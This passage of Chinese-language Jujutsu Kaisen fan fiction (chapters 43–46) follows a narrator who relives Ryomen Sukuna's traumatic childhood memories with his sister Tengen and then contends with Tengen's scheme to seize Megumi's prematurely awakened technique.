正常的思维在某一刻停止,记忆如明光刺入了我的瞳孔之中。 宫殿。 这显然是在某个宫殿内部。 金瓶银杯觥筹交错,大殿之上流光溢彩。歌姬柔美的身体带起飘逸的绸带,咒力萦绕在她们的掌心,催动着力量的流动,将成排的木枝催化,肉眼可见的花苞成长绽放,顿时香气四溢。 没什么战斗力的术式,但观赏性极强。 上首主座大概是个天皇,但我不知道他究竟是哪一段记忆里的天皇——是光孝,还是宇多? 如此年轻的面孔,大概是后者。 主视角下的“我”似乎对宴会本身兴致缺缺,反倒频频关注那个紧挨着天皇坐着的女子。 那正是身着华衣的天元。 她柔顺地垂目,白玉般的手指为天皇斟酒,甚至是送到了嘴边。 两面宿傩视角下的“我”,几乎轻易地把在银杯上捏出指痕裂口。 我瞳孔地震。 天元她、她……不会是天皇的某个妃子吧? 一种狗血剧情的既视感扑面而来。 这、这难道就是传说中的,权力倾轧、情敌相争? 又或是,因爱生恨、骨科禁忌? ……还是什么我爱你,你爱他的大型三角恋现场。 我清晰地感觉着两面宿傩的情绪变化,既视感实在是太强。 他那诅咒之王的狂霸酷炫拽滤镜,正在持续破碎中。 第43章 宴席之中的两面宿傩显然有些走神, 不论是歌舞、官员还是那些咒术表演都不在他的关注的范围内。 甚至不多一会儿,他连天元也懒得再多看几眼。 一种极度无聊的情绪充斥在他的大脑之中。 就在此时,坐在“我”下首的男子似乎察觉到了“我”的情绪, 主动靠了过来, 以手遮嘴,低声和“我”提起了和天元交接的事宜。 谈话间,我意识到眼前这个人, 就是之前被提到的加茂淳司。 他的模样看上去非常普通,垂首的样子一点也不像是会背叛的人。 单从他和“我”的对话中,便可以判断出,相比一直跟在天元身边办事的菅原道真和禅院英辉, 加茂淳司显然跟在两面宿傩身边的时间更久, 对两面宿傩也更忠心。 或许,这就是两面宿傩对加茂一族怒火不多的原因? 或许加茂淳司没有背叛他? “我”皱眉,体内突然一阵无来由、无征兆的气血上涌,咒力猝不及防地上浮,皮肤表面就像是被不均匀的温度灼烧, 红色的烙印成纹, 遍布全身。 我低头只能看到手,但对两面宿傩的熟悉让我迅速反应过来, 这就是后来两面宿傩的咒纹。 此时的咒力还没有异化成后来的诅咒, 但其不可控的暴戾属性却已初见端倪。 大殿正中一圈摆放着的各色花枝——这原本是用来向天皇展示咒力的表演道具,枯木逢春, 观赏性极强。 但, 由咒力催发的生命, 自然也能由咒力夺取。 两面宿傩溢出的咒力迅速压过了表演用的术式, 术式被攻破的反噬让舞台边缘的咒术师顿时吐血, 那一圈花枝也随之枯萎。 原本推杯换盏、充满欢笑的殿内空气骤然凝固,安静得仿佛连汗水落地的声音都被听得清楚。 殿上的天皇皱眉,露出了嫌恶的表情。 旁边的天元俯首到他耳边,轻说着什么,同时也递了个眼神给“我”。 胸腔当中属于两面宿傩的情绪翻动着,我能清晰地感觉到,他想要闹起来的冲动——或许没有什么理由,只是单纯地受这股咒力变化的影响。 但最终,他还是接下了天元的眼神,闷哼了一声,便起身离席。 两面宿傩大概是不把天皇放在眼里的,不过也说不上有多轻蔑,微妙的情绪中反倒是带着几分仇视与恨意。 一脚踏出殿门,石阶化云,腾空而起。 强烈的失重感拉扯着我,沉闷的味道裹挟了我的呼吸,将我从高处撤下,肾上腺素本能地被刺激出来,那一直没有消失的饥饿感在此时达到了巅峰。 记忆场景的转换也这么刺激的吗? 眼前的画面显然和刚才的宫殿是完全两个极端,逼仄的空间封锁了光源,天花板几乎抬手就能碰到,更显眼的是眼前成网的木柱。 我迟钝地意识到,这是个笼子,木笼。 笼子外面贴着无数看不懂的符咒——与其说是符咒,不如说是什么鬼画符。我在上面完全感觉不到任何咒力或是诅咒的存在。 单纯就是一张画了东西的黄纸。 “哥哥……” 身后稚嫩的声音撞在了“我”的耳膜上,这个身体的心脏一下子提到了高处。“我”猛然回身,就见背后靠着笼柱的女孩儿满是虚弱的气息。 她看上去好小只——不仅仅是个子矮或是年龄小,而是那种干瘪得毫无生气的“小只”。 记忆视角中的“我”扑了上去,将她抱在了怀中。 “我”的手、“我”的胸口也是如此单薄,和眼前干瘪的女孩相比也一样不遑多让。 只是简单地转身拥抱,皮肤就贴住了笼子边缘。木刺在动作中扎入皮肤,“我”却无力在意。这时我才意识到,这个笼子狭窄得可怕,比肉眼看上去还要逼仄。 两个干瘪的小孩在其中,竟然也难以转身。 转身都难,就更别提再换姿势,几乎只能蜷起身体,低下头颅困在原地。 太可怕了。 只是一个记忆视角,就让我心生恐惧。 “好饿、好饿——” 女孩儿低吟的话语就像是幼猫的声音,让人听不清楚。“我”大概是想说什么,但张开嘴就是一阵强烈干渴,黏在一起的嗓子仿佛在燃烧,连带着胸腔一起,根本无法发声。 “我”似乎有些心焦,手沿着笼子边缘摸索着什么——摸索着被藏起来的东西? 一阵带毛的软肉感让我内心的寒毛一竖。 但记忆视角中的“我”却如获至宝般的欣慰,像是找到了什么珍藏的宝物一般。 “我”将其举到眼前,我这才在大片的黑暗中看清了轮廓。 老鼠!? “我”掐着老鼠已经僵直的身体送到了女孩嘴边。 看着她就这样张开嘴,生啃了这个我都不敢想的“食物”。 我该感觉到恶心,但此刻却只觉得有些可悲。 比此更可悲的是,竟然就连这只死鼠都比女孩的脸颊更加丰腴。 “我”的手顺着女孩的背脊向下轻抚,像是想要安慰些什么。 但随之而来的触感却让我胆寒。 我大概是今天才知道,什么叫做真正的骨感。 女孩儿的腿——完全是一种肌肉萎靡退化的触感!膝盖歪斜,似是因为长期的蜷缩而严重变形,薄薄的一层皮肤又干又涩,不知多少木刺扎在上面,甚至已经融入了其中。 我看不到“我”现在的身体状况,但想来也不会和她有多大差别。 每一个转身、每一个挪动,都能清晰地感觉到疼痛,骨缝在疼、衣服在疼,内脏、喉咙几乎没有不难受的地方。 但疼痛之中,这个身体却似乎已经有一种习惯性的麻木。 这是谁的记忆? 两面宿傩的记忆? 我简直不敢相信—不,是完全不能相信。 我想办法劝服自己,这一定是哪里混进来的诅咒也被我读取到了,一定是的…… “吱呀——” 笼子紧贴的小门似乎从外面被拉开,一缕清晰的光线终于透入笼内。眼前女孩的面孔被照亮,那双暗淡的瞳孔、那几近骷髅一般的面孔瞬间在“我”眼中明朗。 我终于无法在骗自己。 不会错的,即使皮相有差,但骨相清晰——这就是天元的轮廓! 会被天元叫“哥哥”的是谁? 只有两面宿傩了吧? 这……竟然真的是两面宿傩! 光线刺激了“我”的神经,让“我”的手一紧,将怀中的妹妹搂得更紧。 “快看她嘴角的血——啊,果然又在做恶事。” 外面的声音不知来由,但语气中的恨意厌恶却清晰可闻。 “太可怕了,这次不知道又是哪里要遭祸了。” “作孽,作孽。” “果然是妖怪,竟然还没有死。” “连神龛都镇不住他们吗?” 如此狭小的空间,竟原来是个神龛? “果然,得按神目大人的方法,用神水净化才行。” “那岂不是太浪费了?他们如此阴邪,应该用业火烧个干净才是。” “马上就要入冬了,你难道愿意让出自家的柴火来给他们点业火用吗?” “……我们家都不够用的。” “那就只能,用地神大人镇压了。” “对对对,应该请地神大人的。” “我家也同意。” “这样最好,不会浪费了什么,为这些邪魔可不值得的。” “既然大家都同意,那就快去准备吧?” 外面的人自说自话,根本不理会里面的状况,只有那俯视眼神充满了厌恶仇恨。 “砰”的一声,神龛那比笼子大不了多少的门合上,将那一点点能透进来暖意的阳光锁在了外面。 地神大人? 什么是地神? 我贫瘠的知识面完全没有听过这个词。 咒灵的名字吗? 不,地神应该和先前的“神水”、“业火”相对应。 我不知“神水”之所谓,但业火——既然提到了柴火,便应该是指火烧,地神……想来是和地、和土有关吗? 我感受到了记忆中两面宿傩那清晰的恐惧。 实在是闻所未闻。 两面宿傩此时拥有的不是愤怒、不是怨恨、不是沸腾的情绪,只有无尽的恐惧——和被恐惧所包裹的无助。 谁能想到,两面宿傩竟然还有这样的一面? 地面在感知中清晰地下陷,记忆中的时间突进着,封闭的神龛不知在什么时候消失,笼子被摔入了深坑。 天元的呼吸微弱得已经到了不可查觉的地步。 她像是要死了。 但却好像没有谁真的在意一样。 “地神镇压、地神镇压!” 我通过两面宿傩抬头的视角向外看着,坑外的人们仿佛在跳大神,一脚一脚地踩在深坑边缘。 紧接着,一把土盖在了“我”的脸上。 “我”张着嘴,甚至还吃了一口。 土是个什么味道呢? 苦、涩、噎? 都不是,在两面宿傩的口腔里,湿润的沙土竟刺激了一点口水,沿着喉咙的涌动向下,仿佛在胃部增加了一丝饱腹感。 观音土。 我脑子里冒出了这个词——这个我在某些文学作品里看到的词。 紧接着,更多的土落了下来。 一铲、又一铲。 啊…… 我恍然。 地神的意思,是活埋啊…… “我”伸手抓住笼子的边缘,用力地撕扯着,想要求一个生存的口子。 但细瘦的手指被木笼的毛刺扎满,关节的皮肤被撕开——那样大的伤口里,竟然都流不出几滴血来。 “我”张嘴发出“啊啊”的声音,不知多久没有真正开嗓的喉咙完全说不出成串的文字。 但情绪上,我能感觉到一种哀求。 比两面宿傩的恐惧,更让我不敢置信。 此刻的他竟然如此卑微,仿佛是跪在地上,寻求一条出路。 但这个声音,只是更进一步地刺激到了坑外人的神经。 他们嚷嚷着一些我听不懂的词语成句,铃声伴随着跳大神的动作脆响着更加密集,一圈铲土之人手上的动作也更快起来,落下的土又厚又多,每一颗沙土都带着无尽的重量压在两面宿傩的身上。 渐渐地,那种哀求和恐惧混杂而成的绝望涌了上来。 裂开的眼角好像要流下来什么,但连伤口都流不出血来,身体当中哪还有多一分的余物可以渗出? 土渐渐没过脚踝、腰腹、胸口,直至埋过眼睛,“我”只剩下一只穿过木笼高抬着的胳膊仍然想要在空气中抓住什么。 这一刻,连我自己都不曾想过——我竟然对后来那个嗜杀成性的两面宿傩,升起了无限的怜悯。 第44章 恐惧、哀求、绝望、怜悯。 这几个词, 怎么看都应该和两面宿傩完全不搭边才对。 可世事无常,谁能知道那样邪恶的咒物之中,竟然蕴含着这样一段让人动容的记忆? 视野被黑暗所填埋, 湿润的沙土没有一点透入空气的缝隙。 在记忆转场的间隙里我不禁胡乱地猜想着。 所以, 两面宿傩是死在了这个时候吗——他死在了这种怨恨之下,所以才成为了咒灵吗? 我不知道,却只感受到了那种沙土一步步没过头顶的窒息和绝望。 比死亡更可怕的是被送上刑场的过程。 就在此绝望之中, 炽热的流光接替了黑暗,一眨眼间,视野被冲天的火光占据,不知是村是镇还是山, 但那都是两面宿傩认知中的全部世界, 炽热吞噬了“我”目之所及的一切。 木头燃烧时“噼噼啪啪”的响动遍布各个角落,“滋滋”的声音夹杂其中。 “我”低头,这才发现那被火焰灼烧血肉的声音是从两面宿傩的身上传来的。 干枯的手臂上遍布着伤痕和大大小小的木刺,这些木刺成了燃料,助长了火焰在“我”身上的燃烧速度, 也在全身都留下了红红的烙印。 从手臂到身体甚至是脸。 身上的衣服已经被完全燃尽, 纠缠着和木笼、木刺融合在一起的头发寒毛也一并成了燃料。 看着这些烙印的轮廓,我依稀辨别出了形状。 这是……两面宿傩的咒纹。 或者说, 是两面宿傩咒纹的雏形。 竟然是这样来的吗? 另一只更小的手也在此时搭在了“我”的掌心。 是天元。 她和“我”的手指交织在一起, 金色的线若隐若现地缠绕在二人的手指上,逆着指尖钻入身体, 直至缠绕在心脏上。 随即, 身体上被灼烧出来的烙印颜色加深, 由红变紫, 再由紫变黑。 这就成了真正的咒纹。 它们和体内的金丝连在一起, 摩擦出浓郁的咒力,一层又一层填充到了干瘪的皮囊下。 变形的骨骼被扭转,萎缩的肌肉被替代…… 一切都好像在这一刻走向了另外一条世界线。 “这样真的可以吗?”天元似乎也正经历着相似的事,金线进入她的身体,将力量和某种无形的东西当作平衡束缚在了一起。 束缚。 “我”抬头,一时无言,只是感受着炽热的火浪翻滚,一层又一层地向上冲去。湛蓝的天空注视着一切,明明高悬在天,却仿佛压在了“我”和天元的脊背上。 隐约之中,那根金线仿佛就是从天而降,将人束缚。 福至心灵。 我猛然间意识到,与天之束缚——那不就是,「天与咒缚」吗! 虽然在现代咒术体系里,「天与咒缚」基本上已经成为了一个专有名词,专门指代伏黑甚尔这样的零咒力人群。 但事实上,这个词的初始意味却更加直接——与“天”订立束缚之人。 “束缚”的内容是不被限制的。 天元把手伸向了“我”,“我”下意识去接那只手,却不想那只手错开了位置,直直捅入了“我”的胸口。 “我”眼眶欲裂,一脸的不可置信。 ——对,是真的看到了自己脸上的不可置信。 视野的转换毫无征兆,我的意识在不同的记忆碎片中跨越,到了另外一个场景之中。 这只贯穿了胸口的手完全不是刚才那干枯的手臂,而是充满了咒力的、光滑饱满的手臂。 “抱歉,兄长,”天元一脸悲悯,仿佛已经初见后来“咒术之神”的端倪,“兄长大人。” 天空高处翱翔着鹰隼带来了落雷将地面打得焦黑,空气的味道似乎和上一段记忆的结尾没有任何不同。 旁边还有其他人,那些明暗晦涩的表情既陌生又熟悉,他们的声音或刺耳、或沉静,一切都直指“我”这个众矢之的。 两面——那四只眼睛的视野让我迅速搞清楚了两面宿傩的状况。 黑色的影子束缚着“我”的手脚,外来的血液“咕咕”钻入“我”身体之中,堵塞了咒力快速流动的反应的渠道,「六眼」的术式更是直接挤到了精神世界里。 ——简直就是「无量空处」,这个让人大脑宕机的领域封锁了两面宿傩最后的反抗能力。 两面宿傩的记忆里,三种力量对上了号。 禅院的影子术式、加茂的血液术式和五条的精神术式。 身体被撕裂,精神被镇压,就连灵魂仿佛都被贯穿胸口的这只手束缚住了。 生存的本能让“我”做了最后的选择。 丹田内集中的所有咒力——不对,在这种极端条件下的转变,经过那种强烈的仇恨和怒火洗礼,咒力已经开始朝着诅咒的方向转化。 一切力量从中心冲向四肢百骸的末端——只有身体最末端的封锁是最虚弱的。 手指,一切的末端就在手指。 “我”的眼睛迸发出强烈的精光,精神世界暴动着,反向抓住了束缚“我”的精神领域。 紧接着,一阵炽热从体内爆发——“砰!” 是拉着所有人同归于尽的自爆! 手指和大脑都被炸开了四散。 这一瞬间连两面宿傩自己的大脑都是一片空白,我这个沉浸在他记忆碎片里的人自然就更加看不到什么。 但凭借着最后一点感受、最后一点信息判断——那时候炸开的手指就是后来的咒物、那时候丢弃的脑子,或许就是后来的羂索。 我将意识从两面宿傩的记忆中拔了出来,最后一个声音从一片空白的远处传来,空灵地回荡在我的大脑中。 “哥哥,这是唯一的办法。你我——自始至终都没得选。” 我猛一睁眼,眼前的建筑是被诅咒撑爆的钢筋水泥,这个旧基地仿佛被什么东西肆虐过一样,已经完全撑不住任何超过两米的立体建筑。 体内的两面宿傩一阵沉默,不知是自己被自己的记忆搞破防了,还是因为那样的过去袒露于人而害羞了。 ——害羞,这个词真小众。 即使没有我和他最初的那一层约定,就单是这样的记忆横在我和他之间,就已经不可能善终。 两面宿傩不会允许任何知道他不堪过去的人活着。 而我也不会坐以待毙。 我按着胸口,那种有东西穿透胸口的感觉仍然保留在我的感知之中。 情绪翻涌的感觉太过真实,让我一时间有些沉浸在两面宿傩的人设当中,一种说不清的烦躁萦绕在我身边。 “用不了多久,你我之间就得分个胜负出来了。” 毕竟最后已经没剩下几根手指了。 我拍了拍衣服上的灰尘,已经和咒术界撕破了脸,我自然一点收拾这般现场的意思都没有,抬腿便离开了此地。 虽然记忆碎片带来的时间不断,和精神上所感知的时间和现实世界仍有区别。 至少漏瑚和花御返回的时间相差不多。 我不知该是否该用“惨胜”这个词来形容他们二人,但他们俩的狼狈绝对是毋庸置疑的。 他们带回了九十九由基的死讯。 与之相对的,漏瑚和花御的身体也不再完整——尤其是漏瑚,又是踢到铁板的一天,只留了个脑袋回来。 “真人,让你带回来的人呢?”我扫了一圈,陀艮的领域之中,除了咒灵就是残缺的咒灵,一点人类的气息也没有。 我心底一凉,真人不会是连这么一点小事都要给我办砸吧? 那么多努力的基础,就是要阻止星浆体和天元的融合。 星浆体是天元的稳定器,我无论如何都不想看到天元的一切都恢复正轨。 “在这里,在这里!” 真人一脸天真地从口袋中摸出了一个石制的人偶,三寸长一寸宽,轮廓依稀可以辨别人类女孩的形状,但那惊恐挪位的五官却已不复先前的面容,“她太吵了啦,这样带着更方便哦!” 我看着那石偶被术式束缚着,灵魂的细线连在真人的指尖。如此用力的「无为转变」杀死了星浆体,但星浆体的灵魂却不得安宁是,仍然被玩弄于股掌。 就像是被「束缚」玩弄于掌心的过去的妹妹一样。 不对——是两面宿傩的妹妹,不是我的。 可吞下了两面宿傩手指的我、已经打算全面接手他一切的我,现在和他有什么实质性的区别? 那股无言的躁动在我的皮肤下挠动着,“咕咕”血液冲撞在胸腔之中找不到宣泄口。 “这就是另一个星浆体?” 张扬的声音从漏瑚的嘴中传出,已经丧失的脖子似乎并不真正影响他说话,“真是个凑数的小鬼,完全不能和另外一个相比。得说,那女人是有两把刷子的,要不是花御的领域,说不定还真能让她翻了盘。” “确实是非常危险,这次的行动果然是有些仓促,如果从长计议的话,说不定能更加高效。”花御似是在复盘着那场战斗,即使已经结束、即使敌人已经死亡,她却还是想着战斗过程中可以优化的部分。 真人完全不理会这两个人的声音,只是自顾自地把石偶又递了上来。 “星浆体,星浆体!” 一瞬间,两面宿傩的记忆似乎蔓延到了现实之中。 漏瑚狂肆的声音和用影子将我束缚的禅院英辉重合了起来,都是那样不知进退、不顾利害——将一切置于脚下的表情和五官;冷静复盘的花御在此时显得那样理智和冷漠,仿佛菅原道真做的每一个决定,他对两面宿傩毫无忠诚,甚至对天元的忠心也有水分—— 还有真人。 他和稚嫩的加茂浩二——那个加茂淳司初长成的幼子、那个将「赤血操术」扎在我身体中的小鬼一模一样,他不知道自己在做什么,只是一贯地任性着,不知天高地厚。 我大脑骤然应激起来,穿透胸口的幻肢在此刻又痒又疼。 两面宿傩在我体内的领域中抬首,同一张脸上的表情重合到了我的五官上。 掌心一阵冲击,「伏魔御厨子」瞬时展开。 无数的刀刃撕裂炸开了一切。 “轰——!” 陀艮的领域尽碎,本就胆小的他将身体蜷缩起来,嘴边的触|须被占斩成了几截—— 但,他仍是幸运的。 至少,在两面宿傩这个尸山血海的领域里,他是唯一一个活下来的咒灵。 第45章 我得承认, 我是有些冲动——大概是两面宿傩的记忆确实冲击到了我的感知。 他的记忆太长,几乎比我的整段人生还要长。每每从记忆当中回神,都让人有一种难以自拔的错觉。 或许, 那也不是错觉。 陀艮在角落里瑟瑟发抖, 他大概是被两面宿傩的领域吓到了。 我转过头去,和他眼神接触的瞬间,他更加瑟缩, 甚至连身体外形都因为诅咒的蜷缩而变小。 我猛然意识到,他不仅在害怕两面宿傩的领域,也一样在害怕我。 在领域内的血水倒影里,我看到了自己这张和两面宿傩一样的脸——一样的咒纹、一样的表情, 甚至是一样的眼神。 诅咒像是刻入了我的骨髓之中, 让人畏惧、让人退却。 可陀艮有退却的余地,我却没有。 深吸一口气,我意识到两面宿傩的手指越多,这种诅咒带来的影响也就越深刻、越难逆转。 得抓紧时间推进我的计划。 我吸收了死亡咒灵们残缺不全的身体,将他们的术式吞入腹中。两面宿傩记忆当中的饥饿感延续到了记忆之外。 我几步上前, 将手放在了陀艮的头上。 “呜呜呜——” 他的喉咙里发出了呜咽声, 像是在向我求饶,又像是在向我体内尚未消化的诅咒哀悼。 “抱歉, 这是唯一的办法, ”我低下头,“我——没得选。” 掌心的口裂开, 我将陀艮也一并吸入了自己的身体。 这些不同属的诅咒在我体内相互拉扯, 在我完全消化全部咒灵之前, 这些不同属的诅咒力量不仅无法融合, 甚至互为对立。 虽然诅咒在我体内的争夺也让我感到不适和疼痛, 但一定程度上,这样延缓了两面宿傩手指力量的瞬时冲击,让我有更多的时间来适应体内诅咒体量的变化。 当然,我需要一点时间来适应这些新的术式和复杂的能力,也需要一点时间来恢复状态,更重要的是,我得确认,这个世界没有更多的特级咒灵。 根据羂索留下的情报来看,特级咒灵的数量极其稀少,每一个特级咒灵的诞生和成长都和咒术师群体的力量成长挂钩。 天元的「帐」之系统帮助了她能力覆盖下的咒术师的成长,但与之相对的,是同步增长的诅咒。 在这个岛国之外,几乎没有特级咒灵的生长土壤。 或许是漫画视角的特性、或许是天元能力的特性,这个世界的平衡就系在现在所见的一切。 我接下来要做的事情会打破咒力体系的平衡,那为了确保先前崩塌的情况不再出现,我就得确保平衡的另一端——诅咒的力量完全掌握在我的手上。 只有这样,我才能随时调整诅咒的程度用以确保稳定。 咒术界需要恢复、需要紧急部署,而我也有一定不能省略的步骤。 这就让天元的急变之后,难得地平静了下来。 没有争端、没有摩擦,仿佛暴风雨前的平静,安宁得有些可怕。 高专学校已经完全停下了正常进度的课程,开始对咒术师进行紧急训练和应急教育;构成总监部体系的御三家都受到了重创,导致总监部的职能也出现了一些问题。 正常的任务派发系统几乎完全停了下来,各家都有损失,这就本就稀少的咒术师更加短缺。但对现在咒术界来说最好的消息就是,咒灵的行动——甚至是各种诅咒的影响都处于一个无限接近于停滞的状态。 这个好消息来源于我的控制。 我基本上接替了大部分咒术师的工作,不过不是为了帮扶咒术师,而是为了将所有可触及的诅咒连接起来。 当然,这是个大工程——幸好这座岛不算大。 伏黑甚尔的电话不期而至,完全就是他本人的生活号码。 我皱眉,有种不太好的预感。 我和他之间有一套简单的暗号系统和工作号使用规则,他不会这样直接联络——除非是事情已经紧急到他无法拖延、或是让他失去了冷静。 后者或许更加可怕。 “喂?” 刚接起电话,那边就传来了伏黑甚尔急促的声音,“惠的术式觉醒了。” 没有任何铺垫,他一句话扇到了我脸上,让我停顿了至少三秒,“他——不可能,咒术师的术式觉醒不可能这么早。和天赋没有关系,术式觉醒需要完整的咒力回路,它……” “我不需要你重复这些理论,我知道。但他的术式直接表现在了我面前,「十种影法术」,这一点你的推测没错,可那不是完整的式神形态。他的影子在变化,而且,他无法控制这种变化。”伏黑甚尔的语速很快,“影子在攻击一切可以感受到的东西,甚至在吞噬惠自己——我不得不用「天逆鉾」来稳住他。” 稳住——? 我反应了一下,“你用「天逆鉾」捅了惠。” 用穿透术式的方式来延缓术式起效的速度,或者至少可以刺激术式的反击,将影子的攻击目标集中在伏黑甚尔自己身上。 “我避开了要害。” 伏黑甚尔换了一种方式承认。 这一点我倒不怀疑,他知道如何杀人,自然也会知道如何避免死亡。 但依然,这种方式治标不治本。 咒术师术式的觉醒最早记录也在六岁,事实上如果能推到八到十岁会更好。咒术师是人,术式就像是咒术师特有的青春期发育,这个觉醒点存在于特定的年龄是有其原因的。 咒术界的普遍认知就是,觉醒可以推迟,但决不能提前。 伏黑惠现在还有三岁,别说是他的咒力回路,就是他的身体发育状况都无法承载术式。即使是五条悟这样出生就带有某种生理特征的术式,都绝不能过早觉醒。 当然「六眼」这样特殊的眼睛,有概率让术式提前觉醒,六岁的记录就来源于五条家——但那本身也是「六眼」拥有者容易夭折的最大原因。 在五条家的记录里,「六眼」的拥有者的实际数量,要远多于真正成长起来的数量。 而「十种影法术」这样“有意识”的术式,更是特例中的特例,它需要尽可能晚觉醒的术式类别。 式神会在术式觉醒之处便被唤醒,在受到调服之前,所有式神都会寄居在影子当中——忠诚如「玉犬」即使在调服前很少会主动攻击主人,但「魔虚罗」就不一样了,它失控的风险从一开始就存在。 尤其是,太过幼小的身体和咒力回路,没有成长到足以压制式神意识。 伏黑惠术式现在这样的无差别攻击、甚至是反噬——听起来像是式神「魔虚罗」的特征。 如果处理不好伏黑惠情况的话,轻则咒力回路尽毁、丧失成长机会,重则直接死亡。 “你既然打电话给我而不是禅院家——”我很快将思路整理了出来,对「十种影法术」最了解的是禅院家,伏黑甚尔痛恨那个家族,但如此危险的情况,他一定不会吝啬于利用那个家族,“是有什么和我有关的猜测?” “我不认为术式会无故觉醒——我可以确认惠没有受到过任何外界的刺激,诅咒、咒力,任何刺激都无法靠近我家。” 不是外力,就要从另外的方向寻找答案,伏黑甚尔继续说道,“你之前说过,御三家的术式是咒术界命运体系的重要构成部分、也是这个世界平衡的重要部分。你在改变这种平衡方式,这——” “这有可能。”我没等他说完就接上了话,“平衡理论在世界性的层面要求咒力和诅咒这两种力量的相对等量,我在变强——一天比一天强,但咒术界的颓势却很大,五条悟一个人不够,那会是一个契机。” 特别是,当星浆体融合失败后,天元的身体状态也会朝着咒灵的方向转变。即使她主观和我对立,但客观产生的力量已然不再是咒力,而是诅咒。 通话的另一头在沉默,我仿佛能够透过流转在手机内的电波感受到伏黑甚尔思考的声音。 说实话,我并不觉得我对伏黑甚尔有多重要,甚至我不认为这个世界的平衡对他来说有什么所谓。 如果是为了让伏黑惠摆脱现在的风险,他杀我的手绝对不会犹豫。 当然,我不是说他一定能杀得了我,但他的「天与咒缚」确实非常麻烦。 而他这个零咒力的点,对我想要的命运平衡又非常重要。 如果把咒力和诅咒比作一个天平的两边,那「天与咒缚」的存在就是支撑着天平的那个点。 “那如果重新保持以前的状态……” 伏黑甚尔的声音不大,很大可能只是在自言自语,或是在和他的妻子伏黑早春交流。 我大脑中快速闪过许多种可能,但我对这件事仍有困惑。 “但契机只是契机,就像是没有引线的炸弹,是不会自己爆炸的,”这是我最大的困惑,不论是命运还是平衡,都很难对本世界的人进行强干涉,这样提早的术式觉醒对长远发展没有好处,只能勉强算是解决燃眉之急,“一定是有什么人、后者是什么力量手动促成了这一切。” 现在的伏黑惠就像是当初的真人,他的术式还在,但他本身却远没有原时间线上表现出来的价值。 我从自己利益的角度来考虑,真人的状态对我来说并不重要,他只要有术式就够了,我可以吞掉他的术式,化为己用。 真人本身的状态,实际上并不会影响到术式的使用…… 那么换到另一边也是一样的! 如果还只是要使用「十种影法术」的术式,那伏黑惠的状态其实并不重要! 即使他未来无法再产生足够的咒力,甚至是在短时间内就可能会死去,那也不重要,他的术式依然可以存在、可以被强行转移和吸收——就像「无为转变」存在于我的身上一样。 “是天元,只有天元有能力做到这件事!”只有她知道要如何干涉命运,只有她有能力像我吸收咒灵一样,剥离咒术师的术式。 而这片岛国的土地上也浸染着她的「帐」带来的影响力,她有能力点燃那个命运变化带来的契机! “伏黑甚尔,不论你现在在哪儿,你都得赶紧离开!天元希望的不仅仅是术式觉醒,她想要「十种影法术」本身,她要利用这种强力术式所带来的咒力回路稳固自己的身体!” 这意味着,她必须在术式的拥有者死亡之前将这份力量虏到自己面前才行。 第46章 和伏黑甚尔的电话没有正常结束, 在我发出警告之后,那通电话骤然挂断。 这不是伏黑甚尔的作风。 虽说情况确实紧急,天元的情况一定已经经不起任何耽搁——否则她也不会用刺激术式觉醒, 这样极端的方式来维持自己的身体平衡——所以, 她一定会尽己所能,动用一切资源来将强力术式收归她的控制。 不论是否有反对者…… 这已经等于是让咒术界在天元和咒术师之间进行抉择。术式虽然难得,尤其是对御三家来说, 家传术式绝对是命脉;但咒术界的架构实际并不是由术式和单纯的力量连接起来的,尤其是在我这个外部威胁之下,他们绝对不可能放弃天元。 更何况,有了两面宿傩过去的记忆, 我更深刻地感觉到, 天元的手段尤在御三家之上。她一直都很会利用自己的影响力,即使过去这么多年,她也绝对不会因为时间的流逝而变成一个空架子。 薨星宫较之于咒术界的独立性就清晰地说明了这一点。 但,伏黑甚尔不会因为时间紧迫就一声不吭地挂断电话,除非是危险已经到了他脸上。 大家族的一切繁衍都有迹可循, 尤其是像御三家这样重视血脉的家族, 即使是私生子都需要记录在案。 术式觉醒之后,禅院家族内一旦没有发现没有与「十种影法术」相匹配的人, 选项就会迅速缩小到唯一在族群之外的伏黑甚尔。 「天与咒缚」不可能觉醒术式, 那选项就成了唯一的伏黑惠。 天元响应得非常快,她甚至可能一直掌握着每一个命运相关者的位置。 伏黑甚尔的强大我并不怀疑, 但天元对「天与咒缚」的理解绝对不是伏黑甚尔能够比拟的, 且不说她自己也是这种特殊「束缚」的另一种表现体质, 单是她漫长生命里所见的那些零咒力案例, 就足以让她制定专门的应对方案。 任何人都有弱点, 伏黑甚尔也不例外。 通讯自从断掉之后便再也没有恢复,也许我应该马上返回东京,我绝不希望天元有机会恢复元气,更不希望她找到另一种方法来应对星浆体融合失败的后果。 但…… ——“我能感受到我的手指,复数,而且就在这附近。” 两面宿傩的声音回响在我的脑袋里。 偏偏是在这个时候,我不能果断地回头转向东京。 因为这不仅仅是手指,而且—— ——“是无封印的手指,感知非常清晰,两个不同的地点。” 没有封印的手指极端危险,它可能会促使诅咒增长、咒灵进化。更重要的是,它可能会毁掉我已经准备好的诅咒网络。 我抑制了所有诅咒的变化,让所有全国的力量维持在了一个基准线上,并且将它们连了起来。用这样的方式,我就可以对抗天元日复一日、年复一年积攒在这片大地上的「帐」的影响。 这非常重要。 而手指的影响力对目前的网络来说是致命的,甚至可以说每秒钟,这种影响都在加深。 咒力的外部破坏可以被我填补,但两面宿傩的手指可能会孕育出新的有意识的咒灵,从内部而来的扰乱极为麻烦。 我没有天元那么长的时间来细化一切。 “位置。” 我做出了决定,手指对我来说更加紧迫。 我只能相信伏黑甚尔的经验足以应对这些矛盾……吧? ——“明智。” 两面宿傩的夸奖包裹在嘲讽的语气之下,他比我还渴望集齐全部手指。 鉴于先前几次手机记忆对我的冲击,他大概觉得集齐二十根手指,就能召唤一个完整的两面宿傩。 或者换一种说法,他认为他的记忆最终会压倒我的意识——至少是重创,那会成为他杀死我最好机会。 我并不打算反驳什么,让他保持这样的自负情绪对我而言只有好处。 他会认为自己无限接近于成功的。 这样的思考并没有影响我的速度,很快,不需要两面宿傩的指挥,我也能感受到由手指散出来的强烈诅咒。 我的担忧是对的,手指附近已经出现了有形体的咒灵——即使这些咒灵现在的状态仍然很混沌,但这绝对是个危险信号。 诅咒可以形成咒灵,但咒灵却很难再逆转状态成为普通的诅咒力量。 我没有浪费时间和精力,毫不犹豫地吞噬了它们。紧接着,就是手指。 奇怪。 在将手指丢进嘴里之前,我意识到手指上印有先前所有手指都不曾有的暗纹。 我并不清晰地认识这些纹路所代表的含义,但暗纹本身就带着一股让我无法忽视的咒力。应该就是这股,和诅咒相斥的力量限制了这附近的咒灵发育,让它们没有那么快就成型到可以吃掉宿傩手指的地步。 精准的咒力控制。 ——“果然是她能做出来的事。” 